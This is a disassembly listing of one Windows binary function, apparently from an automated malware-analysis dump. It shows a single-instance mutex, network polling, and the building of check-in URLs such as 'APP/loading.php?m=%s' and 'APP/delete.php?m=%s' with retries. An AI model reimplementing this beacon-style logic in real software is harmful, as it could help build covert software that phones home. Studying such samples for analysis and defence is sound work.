Function at 0x40a4f0
Capabilities:
Check internet connectivity via wininet
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x444482
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x124c
call fcn.004312e0
mov eax, dword [0x457670]
xor eax, esp
mov dword [esp + 0x1248], eax
push ebx
push esi
push edi
mov eax, dword [0x457670]
xor eax, esp
push eax
lea eax, [esp + 0x1260]
mov dword fs:[0], eax
lea eax, [esp + 0x54]
mov ebx, ecx
push eax
mov dword [esp + 0x28], ebx
mov dword [esp + 0x58], 8
mov dword [esp + 0x5c], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, ebx
call fcn.00419014
xor edi, edi
push edi
call fcn.00419e90
add esp, 4
push str.systemwide
push 1
push edi
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov dword [ebx + 0xa4], eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x40a5a1
mov ecx, dword [ebx + 0xa4]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [ebx + 0xa4], edi
jmp 0x40acd5
mov esi, dword [sym.imp.WININET.dll_InternetGetConnectedState]
mov dword [esp + 0x48], edi
mov dword [esp + 0x4c], edi
nop
lea edx, [esp + 0x48]
push edx
call sub.SensApi.dll_IsNetworkAlive
test eax, eax
je 0x40a5ca
push edi
lea eax, [esp + 0x50]
push eax
call esi
test eax, eax
jne 0x40a5d7
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x40a5b0
lea edi, [ebx + 0xb0]
call fcn.0040af40
cmp dword [0x45abc8], 2
jne 0x40ac9d
mov ecx, dword [0x45abcc]
mov edx, dword [ecx + 4]
push 0x44b5c8
push edx
call fcn.004368c6
add esp, 8
test eax, eax
jne 0x40aa3b
call fcn.0040c1c0
mov esi, ebx
call fcn.0040b770
call fcn.0040c760
push ecx
mov ecx, esp
mov dword [esp + 0x44], esp
push str.systemwide
call fcn.004074b0
call fcn.0040c090
push ebx
call fcn.0040b1d0
test eax, eax
je 0x40acd5
push 0x44b286
lea ecx, [esp + 0x40]
call fcn.004074b0
xor ebx, ebx
push 0x44b286
lea ecx, [esp + 0x1c]
mov dword [esp + 0x126c], ebx
call fcn.004074b0
push 0x44b286
lea ecx, [esp + 0x30]
mov byte [esp + 0x126c], 1
call fcn.004074b0
push ebx
mov byte [esp + 0x126c], 2
call fcn.0042d204
add esp, 4
push eax
call fcn.0042d084
add esp, 4
call fcn.0042d091
cdq
mov ecx, 0x14
idiv ecx
mov esi, edx
cmp esi, ebx
jne 0x40a6b0
mov esi, 1
push 0x44b286
lea ecx, [esp + 0x38]
call fcn.004074b0
push 0x44b286
lea ecx, [esp + 0x24]
mov byte [esp + 0x126c], 3
call fcn.004074b0
cmp esi, ebx
mov byte [esp + 0x1268], 4
jle 0x40a759
call fcn.0042d091
cdq
mov ecx, 0x1a
idiv ecx
add edx, 0x41
push edx
lea edx, [esp + 0x38]
push 0x44b8bc
push edx
call fcn.0040cfd0
add esp, 0xc
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x24]
push edx
call fcn.0040cc50
add esp, 0xc
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x126c], 5
call fcn.00407cb0
mov byte [esp + 0x1268], 4
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40a754
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
sub esi, 1
jne 0x40a6e0
push str.cXxpeHh1Nmt3dQ
lea ecx, [esp + 0x3c]
call fcn.004074b0
lea ecx, [esp + 0x38]
push ecx
mov byte [esp + 0x126c], 6
call fcn.0040b5a0
mov edx, dword [edi]
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x20]
push edx
push eax
push ecx
lea edx, [esp + 0x38]
push str.http:___s._s_APP_loading.php_m_s
push edx
call fcn.0040cfd0
add esp, 0x14
mov eax, dword [esp + 0x2c]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x44], esp
mov edi, esp
push eax
lea esi, [esp + 0x20]
call fcn.00407dc0
add eax, 0x10
add esp, 4
mov ecx, esi
mov dword [edi], eax
call fcn.0040b030
test eax, eax
je 0x40a84b
mov ecx, dword [esp + 0x18]
cmp dword [ecx - 0xc], 0
jl 0x40a811
push str.404_Not_Found
push ecx
call fcn.0042c486
mov ecx, dword [esp + 0x20]
add esp, 8
test eax, eax
je 0x40a7ee
sub eax, ecx
cmp eax, 0xffffffff
jne 0x40a84b
cmp dword [ecx - 0xc], 0
jl 0x40a811
push str.http:__
push ecx
call fcn.0042c486
mov ecx, dword [esp + 0x20]
add esp, 8
test eax, eax
je 0x40a811
sub eax, ecx
cmp eax, 0xffffffff
jne 0x40a862
push 0x44b286
push ecx
call fcn.0042c334
add esp, 8
test eax, eax
sete al
test al, al
jne 0x40aa2e
mov eax, dword [esp + 0x18]
push 0x44b61c
push eax
call fcn.0042c334
add esp, 8
test eax, eax
sete al
test al, al
jne 0x40aa2e
push 0xbb8
call dword [sym.imp.KERNEL32.DLL_Sleep]
add ebx, 1
cmp ebx, 5
jl 0x40a798
mov dword [esp + 0x14], ebx
mov eax, dword [esp + 0x24]
lea ecx, [eax + 0xac]
push ecx
add eax, 0xa8
push eax
lea edx, [esp + 0x2c]
push edx
call fcn.0040cc50
add esp, 0xc
push str..dat
push eax
lea eax, [esp + 0x24]
mov bl, 7
push eax
mov byte [esp + 0x1274], bl
call fcn.0040cd10
add esp, 0xc
push eax
lea ecx, [esp + 0x40]
mov byte [esp + 0x126c], 8
call fcn.00407cb0
mov byte [esp + 0x1268], bl
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40a8d9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x1268], 6
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40a901
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp dword [esp + 0x14], 5
jge 0x40a911
lea ecx, [esp + 0x18]
call fcn.0040bc90
mov eax, dword [esp + 0x3c]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x44], esp
mov esi, esp
push eax
call fcn.00407dc0
add eax, 0x10
add esp, 4
mov dword [esi], eax
call fcn.0040b8e0
mov byte [esp + 0x1268], 4
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40a95a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x1268], 3
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40a982
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x1268], 2
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40a9aa
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x1268], 1
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40a9d2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x1268], 0
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40a9fa
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x1268], 0xffffffff
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40acd5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x40acd5
mov dword [esp + 0x14], 5
jmp 0x40a866
mov ecx, dword [0x45abcc]
mov edx, dword [ecx + 4]
push str._delete
push edx
call fcn.004368c6
add esp, 8
test eax, eax
jne 0x40ac9d
call fcn.0040af40
push 0
call fcn.0042d204
add esp, 4
push eax
call fcn.0042d084
add esp, 4
call fcn.0042d091
cdq
mov ecx, 0x14
idiv ecx
mov esi, edx
test esi, esi
jne 0x40aa8a
mov esi, 1
push 0x44b286
lea ecx, [esp + 0x34]
call fcn.004074b0
push 0x44b286
lea ecx, [esp + 0x18]
mov dword [esp + 0x126c], 9
call fcn.004074b0
test esi, esi
mov byte [esp + 0x1268], 0xa
jle 0x40ab3b
mov bl, 0xb
call fcn.0042d091
cdq
mov ecx, 0x1a
idiv ecx
add edx, 0x41
push edx
lea edx, [esp + 0x34]
push 0x44b8bc
push edx
call fcn.0040cfd0
add esp, 0xc
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x58]
push edx
call fcn.0040cc50
add esp, 0xc
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x126c], bl
call fcn.00407cb0
mov byte [esp + 0x1268], 0xa
mov eax, dword [esp + 0x50]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40ab36
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
sub esi, 1
jne 0x40aac3
push 0x44b286
lea ecx, [esp + 0x20]
call fcn.004074b0
push 0x44b286
lea ecx, [esp + 0x2c]
mov byte [esp + 0x126c], 0xc
call fcn.004074b0
mov bl, 0xd
push str.cXxpeHh1Nmt3dQ
lea ecx, [esp + 0x48]
mov byte [esp + 0x126c], bl
call fcn.004074b0
lea ecx, [esp + 0x44]
push ecx
mov byte [esp + 0x126c], 0xe
call fcn.0040b5a0
mov edx, dword [edi]
mov eax, dword [esp + 0x44]
mov ecx, dword [esp + 0x14]
push edx
push eax
push ecx
lea edx, [esp + 0x34]
push str.http:___s._s_APP_delete.php_m_s
push edx
call fcn.0040cfd0
mov eax, dword [esp + 0x3c]
add esp, 0x10
add eax, 0xfffffff0
mov dword [esp + 0x44], esp
mov esi, esp
push eax
lea edi, [esp + 0x24]
call fcn.00407dc0
add eax, 0x10
add esp, 4
mov ecx, edi
mov dword [esi], eax
call fcn.0040b030
mov esi, dword [esp + 0x24]
call fcn.0040b770
call fcn.0040c6a0
mov dword [esi + 0xb4], 1
call fcn.0040c700
mov byte [esp + 0x1268], bl
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40ac11
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x1268], 0xc
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40ac39
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x1268], 0xa
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40ac61
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x1268], 9
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40ac89
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x1268], 0xffffffff
mov eax, dword [esp + 0x30]
jmp 0x40aa09
lea ecx, [esp + 0x5c]
push ecx
call fcn.0040d1e0
lea edx, [esp + 0x5c]
mov dword [esp + 0x1268], 0xf
mov ecx, edx
mov dword [ebx + 0x20], edx
call fcn.0041ab55
lea eax, [esp + 0x5c]
push eax
mov dword [esp + 0x126c], 0xffffffff
call fcn.0040ad00
xor eax, eax
mov ecx, dword [esp + 0x1260]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1248]
xor ecx, esp
call fcn.0042baa3
mov esp, ebp
pop ebp
ret